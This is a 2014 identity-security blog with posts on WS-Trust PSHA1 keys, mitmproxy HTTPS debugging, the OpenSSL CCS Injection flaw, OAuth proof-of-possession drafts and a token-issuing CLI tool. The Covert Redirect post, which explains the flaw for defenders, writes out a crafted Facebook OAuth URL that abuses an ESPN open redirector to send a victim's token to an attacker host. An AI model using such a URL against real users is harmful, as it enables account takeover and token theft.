Leandro Boffi

Syndicate content
Cloud, Identity, Mobility and Software Architecture.
Updated: 25 min 44 sec ago

PSHA1 Algorithm for WS-Trust Server and Client Entropy Scenarios on Node.js

Wed, 2014-07-23 13:34

I’ve just published a new Node.js module that implements the P_SHA1 algorithm as specified in TLS spec, that is used on WS-Trust spec in scenarios where the service you want to call requires client and server entropy. It has been tested with Microsoft CRM Dynamics and ADFS.

You can find the library here https://github.com/leandrob/node-psha1

A little context

As a security feature WS-Trust supports Proof-of-Possession Tokens. A proof-of-possession (POP) token is a security token that contains secret data that can be used to demonstrate authorized use of an associated security token, thereby the final service (relying party) can validate that the caller is the “real” owner of the token that he is presenting. Typically, although not exclusively, the POP token consist of a key known by the relying party.

WS-Trust specifies two ways of use proof-of-possession token keys: specific and partial.

When you use specific keys, the requestor can specify the key when he requests the token or the security token service can retrieve the key in the request security token response inside of the <wst:RequestedProofToken>. In both cases you just need to use the specific key to sign the requests you perform to the relying party (final service)

When you use partial keys, the final key, the key with which you will sign the requests you perform to the relying party must be calculated combining two keys: client key and server key.

In this scenario, also known as client and server entropy, when requesting the security token the client must specify a random key using the <wst:Entropy> element inside of the <RequestSecurityToken> structure, and the security token service must respond with another key, using the same element (<wst:Entropy>) inside of the <RequestSecurityTokenResponse> message. At the same time, the server will return a <wst:ComputedKey> element to indicate how the final key is computed.

<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust"> <t:Entropy> <t:BinarySecret>pSvudXqeURG8H0MrrKr2H+Q7nJ51WrcRJphoqcvGWu0=</t:BinarySecret> </t:Entropy> <t:RequestedProofToken> <t:ComputedKey>http://docs.oasis-open.org/ws-sx/ws-trust/200512/CK/PSHA1</t:ComputedKey> </t:RequestedProofToken> </t:RequestSecurityTokenResponse>

While this can be extended, the default mechanism in WS-Trust 1.3 spec is the PSHA1 algorithm (defined in TLS spec, identified by this uri: http://docs.oasis-open.org/ws-sx/ws-trust/200512/CK/PSHA1 (also http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1 is possible)

To resume, that means that both keys, client and server must be combined using the PSHA1 algoritm, and that is what this module implements.

How do I know if the service I want to consume requires client and server entropy?

That is easy, it is described in the WSDL of the service using WS-Policy, you will find something like this:

<sp:Trust13 xmlns:sp="http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702"> <wsp:Policy> <sp:MustSupportIssuedTokens/> <sp:RequireClientEntropy/> <sp:RequireServerEntropy/> </wsp:Policy> </sp:Trust13>

Usage

The usage is very simple, you just need to provide client key, server key, and key size.

var psha1 = require('psha1'); var key = psha1('GS5olVevYdlK4/rP8=', 'LmF9Mjf9lYMHDx376jA=', 256);

In the next post I will show how to sign a request using this key.

Hope be useful!

Categories: Blogs

HTTP/HTTPS debugging on Mobile Apps with Man In The Middle

Tue, 2014-06-24 13:40

In this post I want to share with you an amazing tool called Man in the middle proxy. As you can imagine, this tool is an HTTP/HTTPS proxy that allow you to perform debug not only on HTTP communications but also on HTTPS/SSL calls.

Here you can see it in action!

mitmworking

I did the tests using an IPhone, but this method applies to any mobile or non mobile app or platform.

Installing MITMProxy

Installing mitmproxy is very easy, you just need to have Python installed and pip.

If you don’t have pip you can install it like this:

$ wget https://bootstrap.pypa.io/get-pip.py $ Python get-pip.py

Once you installed pip you just need to:

$ pip install mitmproxy

Running MITMProxy and configuring your IPhone

To start debugging your http/https apps follow next steps:

1) Configure in your iphone the IP of your machine as http proxy and port 8080 (default for MITMProxy).
2) Start mitmproxy in your machine.
3) Open Safari in Iphone and navigate to http://mitm.it
4) Choose Apple icon and install the SSL Certificate for MITM.

mitmconfig

That’s all, now you just need to start using your apps, and you will be able to see the traffic in your console.

Hope be useful!

Categories: Blogs

Windows Azure ACS Google Authentication Broken or “The difference between a serious cloud service and Windows Azure ACS”

Fri, 2014-06-13 04:54

As you probably know, Google is migrating to Open Id Connect under the name of Google+ Sign-In, migration that I celebrate. As part of this process, they are deprecating a couple of endpoints and methods to authenticate.

As any serious cloud service, they have announced this migration long time ago, publishing an schedule that clearly specifies dates, features that will be deprecated and actions to take.

Last May 19, they closed the registration of new OpenId 2.0 clients, so existing clients will work until April 20, 2015 but you cannot register new clients.

Now, that is how a serious cloud service works, because when you provide a cloud service you must provide more than the service functionality, you must provide confidence and stability, having in mind that your customer’s systems will rely on you.

Now, as you know Windows Azure Access Control Service (now part of Windows Azure Active Directory) uses Google OpenId 2.0 as method to federate authentication with Google, and as you can imagine, they haven’t migrated to the new Google+ SignIn. That means that any ACS namespace that you have created after May 19 will have Google Authentication completely broken.

When you attempting to sign in you will see an error like this one:

Screen Shot 2014-06-13 at 1.41.43 AM

So, if you trusted on Windows Azure ACS, and your architecture requires to create ACS Namespaces (like a multi-tenant architecture for example) your systems will be broken.

It is really a pity, because I think that Windows Azure is a great platform, and it really surprised me coming from a serious company like Microsoft, but I think that I will think twice next time before trusting in a Windows Azure Service.

Categories: Blogs

CCS Injection: New vulnerability found on OpenSSL

Fri, 2014-06-06 03:02

After the Heartbleed Bug a new critical vulnerably was found today on OpenSSL: CCS Injection.

This new vulnerability is based on the fact that OpenSSL accepts ChangeCipherSpec (CCS) inappropriately during a handshake (The ChangeCipherSpec message is used to change the encryption being used by the client and the server)

By exploiting this vulnerability an attacker could force SSL clients to use weak keys, allowing man-in-the-middle attack against encrypted communications.

Who is vulnerable?

The bug is present in all OpenSSL versions earlier than 0.9.8y, 1.0.0 to 1.0.0l and 1.0.1 to 1.0.1g.

In order to perform man-in-the-middle attack both server and client must be vulnerable. But attackers can still hijack authenticated sessions even if just the server is vulnerable.

Most mobile browsers (i.e. Firefox mobile, Safari mobile) are not vulnerable, because they do not use OpenSSL. Chrome on Android does use OpenSSL, and may be vulnerable.

Actions to take

To prevent this kind of attacks update your OpenSSL server to one of the non affected versions: 1.0.1h (recommended), 1.0.0m or 0.9.8za.

Unlike with Heartbleed private keys are not exposed, so you don’t need to regenerate them (at least you have transferred them via SSL/TLS).

For more information about vulnerability refer to this article.

Categories: Blogs

Covert Redirect: Facebook and ESPN Security, oh my god…

Sat, 2014-05-03 09:07

Yesterday a vulnerability was published under the name of Covert Redirect as a new security flag in OAuth 2.0 / OpenId.

In the article says:

Covert Redirect is an application that takes a parameter and redirects a user to the parameter value WITHOUT SUFFICIENT validation. This is often the of result of a website’s overconfidence in its partners. In another word, the Covert Redirect vulnerability exists because there is not sufficient validation of the redirected URLs that belong to the domain of the partners.

Two main validation methods that would lead to Covert Redirect Vulnerability:
(1) Validation using a matched domain-token pair
(2) Validation using a whitelist

Now, I have to say that it is not new, in fact really surprise me that this kind of attacks are still possible, and it is not an OAuth 2.0 / OpenId vulnerability, but it could be a problem of any poor implementation of OAuth 2.0, WSFederation, SAML-P or any other redirect and token based authentication method.

In this video, the publisher shows how an attacker could obtain a Facebook access token (Implicit Flow) or a Facebook Authorization Code (Authorization Code Flow) from a victim using an Open Redirector on the ESPN site.

Lets see how it works.

Facebook poor OAuth implementation

As OAuth 2.0 commands, Facebook gets the redirect url, the url where the token will be sent after the user authorization through the consent screen (I removed other OAuth parameters for better presentation):

https://www.facebook.com/dialog/oauth?redirect_uri=CALLBACK_URL

It seems pretty obvious that this url MUST be validated, because other way, it would be pretty easy for an attacker to change this url and obtain the token from the victim, thats why you need to ask the clients to register their callback url.

In fact, if you look at the OAuth 2.0 Threat Model in the section 5.2.3.5 Validation of pre-registered redirect_uri says:

An authorization server SHOULD require all clients to register their redirect_uri and the redirect_uri should be the full URI as defined in [I-D.ietf-oauth-v2]. The way this registration is performed is out of scope of this document. Every actual redirection URI sent with the respective client_id to the end-user authorization endpoint must match the registered redirection URI. Where it does not match, the authorization server must assume the inbound GET request has been sent by an attacker and refuse it. Note: the authorization server MUST NOT redirect the user agent back to the redirection URI of such an authorization request.

Also in the OpenId Connect spec on the section 3.1.2.1. Authentication Request says:

redirect_uri
REQUIRED. Redirection URI to which the response will be sent. This URI MUST exactly match one of the Redirection URI values for the Client pre-registered at the OpenID Provider.

Facebook allows you to register the callback uri (redirect_uri) but it seems that, ignoring the specs, to simplify things for the developers, they only validate the domain of the argument received on the redirect_uri parameter, allowing any subdomain or path. That seems to be enough until one their clients has an Open Redirect vulnerability.

ESPN Open Redirect Vulnerability

Quoting the Open Redirect definition:

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation.

ESPN site has one of these on this endpoint:

http://m.espn.go.com/wireless/mw/util/redirectKeepParams?url=URI

It not only redirects to the parameter specified uri without any validation, it also sends the current query string parameters (pretty dangerous).

The Covert Redirect attack

As you can imagine, mixing the fact that Facebook only validates the domain and the open redirect vulnerability on the ESPN site you can do something like this (did’t use URL encoding for better presentation):

https://www.facebook.com/dialog/oauth?
redirect_uri=http://m.espn.go.com/wireless/mw/util/redirectKeepParams?q=1dpoa &url=http://hackersite.com/

Once you execute that URL, Facebook will show their consent screen saying that ESPN is asking for permission and the token generated by Facebook will be sent to the http://hackersite.com.

Conclusion

Covert Redirect is nothing new, and it is not a vulnerability on OAuth nor OpenId. there is a lot written about the redirect_uri parameter and how to validate it properly.

Cover Redirect is a mix of a poor OAuth implementation (Facebook) and an open redirector (ESPN). So, if you have an Open Redirector endpoint on you site fix it. On the Facebook side, they refused to fix the flexible redirect_uri long time ago, so you shouldn’t expect something new.

Categories: Blogs

OAuth Proof of Possession draft are here!

Mon, 2014-04-28 18:46

One of the concerns about OAuth 2.0 is that it uses bearer tokens, that are a kind of tokens that are not tied to any context at all.

That means that any party in possession of a token can get access to the associated resources, without any other demonstration.

This month, the IETF team has published a couple of new drafts to enhance OAuth security against token disclosure. The first one you need to look at is an overview of the OAuth 2.0 Proof-of-Possession (PoP) Security Architecture, then you have semantics for including PoP in JWT,
a method for key distribution and a method for signing http request.

Categories: Blogs

Releasing Astor: A developer tool for token-based authentication

Sun, 2014-04-13 10:09

I’ve just published in NPM the first version of Astor. Astor is a command line developer tool that helps you when you work with token-based authentication systems.

At this moment, it allows you to issue tokens (right now it supports JWT and SWT formats) to tests your APIs, basically you can do something like this:

$ astor issue -issuer myissuer -profile admin -audience http://myapi.com/

The result of running that command will be something like this:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy 93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1lIjoiTGVhbkIiLCJhdWQiOiJodHRwOi8vc mVseWluZ3BhcnR5LmNvbS8iLCJpc3MiOiJodHRwOi8vbXlpc3N1ZXIuY29tLyIsImlhdCI6MTM5 NzM3NjU5MX0.d6Cb0IQsltocjOtLsfXhjseLcZpcNIWnHeIv4bqrCv4

Yes! a signed JWT ready to send to your api!

Astor basically works with a configuration file that saves issuers, user profiles and issueSessions configurations, that’s why you can say -issuer myissuer or -profile admin without specifing issuer key and user claims. To clarify, this is how astor.config looks:

{ "profiles": { "me@leandrob.com": { "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "Leandro Boffi", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/email": "me@leandrob.com" }, "admin": { "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name": "John Smith", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/email": "John Smith", "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/role": "Administrator", } }, "issuers": { "contoso": { "name": "contoso", "privateKey": "-----BEGIN RSA PRIVATE KEY-----\nMIIEow.... AKCAQEAwST\n-----END RSA PRIVATE KEY-----\n" }, "myissuer": { "name": "http://myissuer.com/", "privateKey": "MIICDzCCAXygAwIBAgIQVWXAvbbQyI5BcFe0ssmeKTAJBg=" } } }

Did you get that? Once you have created the different profiles and issuers you can combine them very easily to have several tokens.

Off course you can start from scratch and specify the whole parameters in a single command without using the config file:

$ astor issue -n http://myissuer.com/ -l privateKey.key -a http://relyingparty.com/ Create user profile... Here you have some common claimtypes, just in case: - Name: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name - Email: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/email - Name Identifier: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier - User Principal: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn claim type (empty for finish): http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name claim value: Leandro Boffi claim type (empty for finish): http://schemas.xmlsoap.org/ws/2005/05/identity/claims/email claim value: me@leandrob.com claim type (empty for finish): Would you like to save the profile? y Enter a name for saving the profile: me@leandrob.com eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2 lkZW50aXR5L2NsYWltcy9lbWFpbCI6Im1lQGxlYW5kcm9iLmNvbSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL 3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL25hbWUiOiJMZWFuZHJvIEJvZmZpIiwiYXVkIjoiaHR0cDovL3JlbHlp bmdwYXJ0eS5jb20vIiwiaXNzIjoiaHR0cDovL215aXNzdWVyLmNvbS8iLCJpYXQiOjEzOTczODMwMzR9.1vy9kyY26N wjOQ4gqfy5ZBIQgovgw0gxd4TcVXWzFok Would you like to save the session settings? y Enter session name: token-for-test

As you can see, if you don’t use an stored profile you will be prompt for creating the profile in the moment, and once you have created the profile you can save it on configuration for the future!

And finally, you can provide a name for the whole session, in the example token-for-test, so next time you have to use the same settings you can do:

$ astor issue -s token-for-test

How to install it?

$ npm install -g astor

Next steps?

I’ll be adding token validation functionality, together with other token formats like SAML and maybe authentication flows!

Check readme on github for detailed documentation: https://github.com/leandrob/astor

Hope you found it useful!

Categories: Blogs